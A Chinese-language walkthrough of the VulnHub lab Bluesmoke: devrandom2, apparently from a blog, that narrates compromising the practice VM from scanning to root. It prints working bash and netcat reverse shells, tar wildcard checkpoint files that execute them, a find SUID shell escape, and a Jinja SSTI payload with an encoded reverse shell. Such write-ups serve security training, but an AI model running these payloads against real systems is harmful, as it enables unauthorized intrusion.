准备:

攻击机:虚拟机kali、本机win10。

靶机:Bluesmoke: devrandom2,下载地址:https://download.vulnhub.com/bluesmoke/Bluesmoke.ova,下载后直接vbox打开即可。

知识点:ssti注入漏洞、shell反弹、ffuf扫描、tar通配符漏洞、私钥破解与登录、find提权、解密(base32、base64、hexdump、hex、bin)

一:信息收集

1.nmap扫描

使用nmap扫描下靶机地址,命令:nmap -sn 192.168.1.0/24,发现靶机地址:192.168.1.14。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.1.14,显示开放了22端口、80端口,开启了ssh服务、http服务。

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -u http://192.168.1.14 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现了upload.php、/uploads文件夹等信息。顺带进行下二级目录扫描,在/uploads文件夹下只发现了index.php。

3.web服务

访问了下:http://192.168.1.14/index.php、http://192.168.1.14/uploads/index.php和http://192.168.1.14/upload.php,并检查下其源码信息,但是均未发现有用得信息 。

进行了下ffuf扫描,去探测请求参数,但是也未发现存在可以利用得参数。

二:分析与获取shell

1.tar通配符漏洞

访问web服务时其页面显示会对我们提交的tar和zip文件进行检查并提交到备份系统:Please upload your TAR / ZIP File. We will check the files and add it to our backup system。因此猜测靶机会将我们上传的tar文件进行解压然后检查我们的文件,检查完之后在压缩成tar后上传到备份系统。关于tar命令存在一个和通配符有关的漏洞,之前利用过tar通配符进行提权。该漏洞就是当使用通配符压缩文件时,会将*替换成目录下的文件名称,因此我们可以在shell反弹脚本的同目录下添加以下两个文件:--checkpoint=1、--checkpoint-action=exec=sh upfine.shell,这样当我们执行压缩的时候就可以执行我们的脚本信息。下面是在kali中执行的压缩,可以看到反弹shell脚本可以正常执行,因此我么将该文件:upfine.tar上传至靶机。

#upfine.shell内容
bash -c "bash -i >&/dev/tcp/192.168.1.12/6688 0>&1"
#文件建立
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh upfine.shell"

2.获取shell

但是上传靶机之后shell一直未反弹成功,后来压缩语句不采用通配符压缩就可以正常反弹shell权限了,压缩命令:tar cvf upfine.tar ./upfine.shell ./'--checkpoint=1' ./'--checkpoint-action=exec=sh upfine.shell'。

获得shell权限后在/home/backupper目录下发现flag.txt,读取该文件成功获得flag值,flag经两次base64解密后得到:nc -e /bin/bash www.theworld.com 17722,暂时不知道有什么用,先记下来。

三:提权至jaap

1.私钥破解

首先查找下具有root权限的文件信息,命令:find / -perm -4000 -type f 2>/dev/null,但是未发现任何有用的信息。

然后又上了linpeas.sh、pspty64进行信息收集,但是仍是未发下可以利用的信息。后面查看了下/home/backupper/.ssh目录下的私钥:id_rsa,利用http服务将该文件下载下来进行爆破,成功获得密码信息:samantha1。注意开启web服务时使用:python -m SimpleHTTPServer 8000。

使用获得的密码信息尝试切换jaap账户和remnie账户,但是均切换失败。并且使用ssh协议登录backupper账户也是失败(右侧);

破解密码后想着使用sudo -l查看下可以使用的命令,但是显示sudo不存在。然后看着破解的这个密码比较简单,想着破解下另外账户的密码,但是破解失败,未获得密码信息。

2.生成公钥私钥进行登录

后来就在本地生成公钥和私钥,命令:ssh-keygen -f upfine,输入的密码:samantha1,成功获得公钥和私钥。

然后开启http服务,将公钥authorized_keys上传到靶机,这样就可以在本地使用私钥直接进行连接,不在需要通过文件上传来进行shell的获取。

3.提权至jaap

使用私钥登录到backupper账户的shell后,发现当我们尝试ssh连接jaap账户时:ssh jaap@localhost,只需要我们输入backupper账户的私钥密码:samantha1,当我们输入之后成功切换到jaap账户权限。

获得jaap账户权限后在/home/jaap目录下发现flag.txt,读取该文件获得flag值,对flag值进行两次base64解密得:nc -e /bin/bash www.theworld.com 777。

四:提权至remnie

1.remnie相关信息查找

获得jaap权限后,在/home/jaap/bin目录下发现一个具有特殊权限的文件:find,那就直接查找下find得提权方式,提权命令:./find . -exec /bin/sh -p \; -quit,直接输入执行。执行完之后查看其id信息发现返回得信息中多了一个egid=1002(remnie)。

先利用find查找下具有remnie账户权限的文件信息,命令:./find / -user remnie -type f 2>/dev/null,发现以下三个目录中存在和remnie账户相关的信息:/var/mail、/home/remnie、/opt/remnie。

然后依次去目录下查找下是否存在可以利用得信息,在/home/remnie目录下发现提示信息,告诉我们存在一个本地服务在等着我们,但是未告诉我们端口。

然后在/opt/remnie/scripts目录下发现start.sh文件是可读的,查看该文件信息并进行分析,发现该文件会读取/tmp/start文件的值并判断是否为1,然后查找server.py进程并决定是否开启该进程。

那我们就需要建立该文件并使其值为1,这里可以自己创建,也可以直接通过靶机中留下的/home/jaap/bin/startserver.sh文件来进行创建,这里就直接自己 创建了,命令:echo "1" > start,然后查看下该进程是否开启,命令:ps -ef | grep server,发现该进程已开启。

2.发现本地服务

使用命令:netstat -tulpn查看下本地开启的服务,发现:127.0.0.1:8787。

这里只允许本地访问,那我们将靶机的8787端口的流量转到本地kali的8787端口中,命令:ssh -L 8787:127.0.0.1:8787 backupper@192.168.1.14 -i upfine,8787服务可以成功访问。

3.ffuf扫描

继续对该web服务进行目录扫描、ffuf扫描,在ffuf扫描时发现参数名:name。

但是输入参数:name=/etc/passwd并未读取到/etc/passwd文件,而是直接返回了输入的信息,考虑到刚在在靶机中开启的是python服务,优先测试下ssti注入,当我们输入{{3*3}}时,返回参数9,确定这里存在ssti注入。

4.ssti实现shell反弹

找以下ssti漏洞可以利用的模板,先进行测试是否可以执行,然后将执行的命令替换为shell反弹语句并进行shell的反弹,成功获得remnie账户的shell。

#shell反弹语句
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("\142\141\163\150\40\55\143\40\47\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\61\56\61\62\57\70\70\71\71\40\60\76\46\61\47").read().zfill(417)}}{%endif%}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen(\"\142\141\163\150\40\55\143\40\47\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\61\56\61\62\57\70\70\71\71\40\60\76\46\61\47\").read()") }}{% endif %}{% endfor %} #其中的编码数据是下面的语句,主要是&符号的问题,不编码无法执行
bash -c 'bash -i >& /dev/tcp/192.168.1.12/8899 0>&1'

获得remnie账户权限的shell后在/opt/remnie目录下发现flag.txt,读取该文件成功获得flag值。

五:提权至root

获得remnie账户权限后,去查看下之前发现的server.py和server.conf文件,server.py文件未发现可以进行利用的信息,访问server.conf时返回一组hash数据,使用:https://gchq.github.io/CyberChef这个网站依次进行hashdump->binary->hex->base32->base64,最终成功获得一组账户和密码信息:root/-!F8h2LMr<\[n]`N]Kq。

直接利用获得的root信息:root/-!F8h2LMr<\[n]`N]Kq在remnie账户的shell中切换至root账户,切换root账户后在/root目录下发现flag.txt,读取该文件成功获得flag值。

vulnhub靶场之BLUESMOKE: DEVRANDOM2|bluesmoke的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. 替代学习物联网-云服务-01百度云MQTT

     1.登录百度智能云  2.进入 物联网接入 https://console.bce.baidu.com/iot2/core/core/list https://iotcore-dev-tool.gz ...

  2. java jdk8安装之后java -version失败

    将此目录下的(C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_86850671)三个.exe文件删除即可!

  3. HDFS Shell 操作

    HDFS Shell 操作 HDFS Shell 命令行格式 格式一:hadoop fs –命令名 参数 格式二:hdfs dfs –命令名 参数 HDFS 常用命令及参数 ls:查看 hdfs 中的 ...

  4. 基于LabVIEW的计时器

    前言: 最近有人问我,怎么实现一个计时器计时,可以做到启动.停止.重新开始等功能,好久没关于LABVIEW的博文,借这个写个计时器相关内容. 一.Labview时间计时器介绍: 这里采用时间计时器计算 ...

  5. Windows下Redis安装及自启动

    Redis下载 Redis 官方网站没有提供 Windows 版的安装包,可以通过 GitHub 来下载 Windows 版 Redis 安装包,下载地址:点击前往. 打开上述的下载地址链接,Redi ...

  6. 浙大版《C语言程序设计(第3版)》题目集 习题3-1 比较大小(10 分)

    本题要求将输入的任意3个整数从小到大输出. 输入格式: 输入在一行中给出3个整数,其间以空格分隔. 输出格式: 在一行中将3个整数从小到大输出,其间以"->"相连. 输入样例 ...

  7. jetbrain 全套激活

    关于 jetbrain 专业版激活的教程很多,发现很多实际操作不太友好,本人亲测可激活经理 1.下载 ja-ja-netfilter-all https://github.com/byebai95/j ...

  8. CF527D 题解

    题意:数轴上有 \(n\) 个点,第 \(i\) 个点的坐标为 \(x_i\),权值为 \(w_i\).两个点 \(i,j\) 之间存在一条边当且仅当 \(abs(x_i-x_j)\geq w_i+w ...

  9. 关于JUnit

    目录 一.单元测试 二.在LAB中的常用方法 一.单元测试 什么是单元测试呢?单元测试就是针对最小的功能单元编写测试代码.Java程序最小的功能单元是方法,因此,对Java程序进行单元测试就是针对单个 ...

  10. Verilog中端口的连接规则

    摘自于(15条消息) Verilog中端口应该设置为wire形还是reg形_CLL_caicai的博客-CSDN博客, 以及(15条消息) Verilog端口连接规则_「已注销」的博客-CSDN博客_ ...